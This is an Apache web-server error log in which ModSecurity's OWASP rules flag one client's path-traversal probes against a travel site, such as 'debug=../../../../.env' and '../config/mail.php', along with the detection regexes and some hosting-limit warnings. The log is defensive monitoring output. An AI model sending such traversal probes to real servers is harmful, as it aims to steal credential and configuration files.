[Fri Jul 17 08:55:07.544108 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6ewAAABE"]
[Fri Jul 17 08:55:07.544148 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6ewAAABE"]
[Fri Jul 17 08:55:07.545374 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6ewAAABE"]
[Fri Jul 17 08:55:07.545515 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.545815 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6ewAAABE"]
[Fri Jul 17 08:55:07.545891 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6ewAAABE"]
[Fri Jul 17 08:55:07.545905 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6ewAAABE"]
[Fri Jul 17 08:55:07.548902 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKQAAAA8"]
[Fri Jul 17 08:55:07.548998 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKQAAAA8"]
[Fri Jul 17 08:55:07.549692 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?debug=..%2F..%2F..%2F..%2F.env&cb=exZJgyWkS7_by3Sl7Gu9ULGUJmzFn2nVYQAew1qbJd_LcI0kVsB5HIM7HiHixgqvc2YeqwXqTt_GKfopFMtAuoIeUeQ3bbEepm0HJfOyKaKKFQ1Tuurc1TcOyK2rp6b4WS8dSjgEEm7STDML3jbfWeEZU8WcjzHLDd5zju2nujxdOqyupqi8Ayqb7BvZgh-BLbP9lYvzBkd25NUvad56AM9i2KimqHLZ85yg1zGv79jy0q-s4GOJzofbB3nVC5hMdljPfWOtkMH6HeEroRLRRHSt&anything=NTY5YEQ5Q6URSXGUGW32SKK43HXTU3K2GMAKTBV3P7AOPWX5OTOGVTBAOSGILLPVZWUPGHQB4BJHQLKVHS63FIWGK3EJEIY2QKTBCCJALW3PYYEXFN6B6STDQNFMXQHABV..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fAAAABE"]
[Fri Jul 17 08:55:07.549732 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fAAAABE"]
[Fri Jul 17 08:55:07.549787 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../../../.env&cb=exZJgyWkS7_by3Sl7Gu9ULGUJmzFn2nVYQAew1qbJd_LcI0kVsB5HIM7HiHixgqvc2YeqwXqTt_GKfopFMtAuoIeUeQ3bbEepm0HJfOyKaKKFQ1Tuurc1TcOyK2rp6b4WS8dSjgEEm7STDML3jbfWeEZU8WcjzHLDd5zju2nujxdOqyupqi8Ayqb7BvZgh-BLbP9lYvzBkd25NUvad56AM9i2KimqHLZ85yg1zGv79jy0q-s4GOJzofbB3nVC5hMdljPfWOtkMH6HeEroRLRRHSt&anything=NTY5YEQ5Q6URSXGUGW32SKK43HXTU3K2GMAKTBV3P7AOPWX5OTOGVTBAOSGILLPVZWUPGHQB4BJHQLKVHS63FIWGK3EJEIY2QKTBCCJALW3PYYEXFN6B6STDQNFMXQHABVW3TBJBKXWFPXDHO3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fAAAABE"]
[Fri Jul 17 08:55:07.549816 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../../../.env&cb=exzjgywks7_by3sl7gu9ulgujmzfn2nvyqaew1qbjd_lci0kvsb5him7hihixgqvc2yeqwxqtt_gkfopfmtauoieueq3bbeepm0hjfoykakkfq1tuurc1tcoyk2rp6b4ws8dsjgeem7stdml3jbfweezu8wcjzhldd5zju2nujxdoqyupqi8ayqb7bvzgh-blbp9lyvzbkd25nuvad56am9i2kimqhlz85yg1zgv79jy0q-s4gojzofbb3nvc5hmdljpfwotkmh6heerorlrrhst&anything=nty5yeq5q6ursxgugw32skk43hxtu3k2gmaktbv3p7aopwx5otogvtbaosgillpvzwupghqb4bjhqlkvhs63fiwgk3ejeiy2qktbccjalw3pyyexfn6b6stdqnfmxqhabvw3tbjbkxwfpxdho3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fAAAABE"]
[Fri Jul 17 08:55:07.549837 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fAAAABE"]
[Fri Jul 17 08:55:07.549855 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fAAAABE"]
[Fri Jul 17 08:55:07.550904 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fAAAABE"]
[Fri Jul 17 08:55:07.551061 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.551402 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6fAAAABE"]
[Fri Jul 17 08:55:07.550913 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKQAAAA8"]
[Fri Jul 17 08:55:07.553579 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.554203 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk-1pLmPpy2r_2CxfKQAAAA8"]
[Fri Jul 17 08:55:07.556241 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?debug=..%2F..%2F..%2F.env&cb=w7Ym23H1mZP08dlf96ixaCjziEPNvenkmlm8KgI_nWsV_Z6sw0OFheWWHBPROAud1VTTR68YXQMBcJJfSrWwuR5-fN7cW2_teT6zCB0nr6LrUN8dhEL6K8xzh9mAwSqbUFPFJwxsCIhKa1GFtD2r7ri2BXYPnb-kikevwYE-FT1cstU2D_oHHrBVbXAjlUswkbqivjKQqnB9ZGKkAmKAgmsKpgOvoym_HfEGui5Kalrj9gzOEcP7l5TL-V2U9Ot3Jr364KAr2CPbDiFroorvHE1u&junk=GHXLUGKBTNAUFYEBX6D33CLGN6OFRDEPY2FV2ODBQMURDLI4P6AHL5WNVRUZJLJPBMVXEMGWBWBT35XL6EAHPZG5Y2NO74LW77NNNNCKV4L2EMEY76PCDBZT72TLFEXRRJCZT7SYWUE..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVgAAABs"]
[Fri Jul 17 08:55:07.556297 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVgAAABs"]
[Fri Jul 17 08:55:07.556345 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../../.env&cb=w7Ym23H1mZP08dlf96ixaCjziEPNvenkmlm8KgI_nWsV_Z6sw0OFheWWHBPROAud1VTTR68YXQMBcJJfSrWwuR5-fN7cW2_teT6zCB0nr6LrUN8dhEL6K8xzh9mAwSqbUFPFJwxsCIhKa1GFtD2r7ri2BXYPnb-kikevwYE-FT1cstU2D_oHHrBVbXAjlUswkbqivjKQqnB9ZGKkAmKAgmsKpgOvoym_HfEGui5Kalrj9gzOEcP7l5TL-V2U9Ot3Jr364KAr2CPbDiFroorvHE1u&junk=GHXLUGKBTNAUFYEBX6D33CLGN6OFRDEPY2FV2ODBQMURDLI4P6AHL5WNVRUZJLJPBMVXEMGWBWBT35XL6EAHPZG5Y2NO74LW77NNNNCKV4L2EMEY76PCDBZT72TLFEXRRJCZT7SYWUE3WY3CI2NS4YISH..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVgAAABs"]
[Fri Jul 17 08:55:07.556401 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../../.env&cb=w7ym23h1mzp08dlf96ixacjziepnvenkmlm8kgi_nwsv_z6sw0ofhewwhbproaud1vttr68yxqmbcjjfsrwwur5-fn7cw2_tet6zcb0nr6lrun8dhel6k8xzh9mawsqbufpfjwxscihka1gftd2r7ri2bxypnb-kikevwye-ft1cstu2d_ohhrbvbxajluswkbqivjkqqnb9zgkkamkagmskpgovoym_hfegui5kalrj9gzoecp7l5tl-v2u9ot3jr364kar2cpbdifroorvhe1u&junk=ghxlugkbtnaufyebx6d33clgn6ofrdepy2fv2odbqmurdli4p6ahl5wnvruzjljpbmvxemgwbwbt35xl6eahpzg5y2no74lw77nnnnckv4l2emey76pcdbzt72tlfexrrjczt7sywue3wy3ci2ns4yish..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVgAAABs"]
[Fri Jul 17 08:55:07.556436 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVgAAABs"]
[Fri Jul 17 08:55:07.556460 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVgAAABs"]
[Fri Jul 17 08:55:07.557375 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?debug=..%2F..%2F.env&ref=VpCxqQsva8-7gGehKTfNLEr70HztD1uzXNKkw4ZgiwIlv8D1vEXiY3_pYFOuGR1NH5RwHb30GWBx2z9x64wDZFtxTd9unHOjRWb8xyoGAaY9EX8yq0g484HPcchcb_eI21ALUlP_HPKB7HRTAmrVCPIg-eEoBTsXEr7XNtgW0U2dY_xJe1UzjuyVSDO2Rp3MVXtOlMyjaQGhBn2DeHHoM_5dGmmyKdiQac2KOde4qzRixRqetvF4LLbj9uDcmgsoGlAEJiVT0t956twbROiJCLEW&cb=J3ALBEQEZG7DX6MW4RVEG4NM7YUCC2PTKYEVRUKFPSZOMFEFGIZUSQE7GTW3OWYCUXHBXMYHVVAUI64UQFDU6LD7NCDRLXILB3Q7V5MTM4WS2KOKXCXH4ECTKXT5SMH3MVZCUZDWNII3NOP5G..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETasQAAAAo"]
[Fri Jul 17 08:55:07.557442 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETasQAAAAo"]
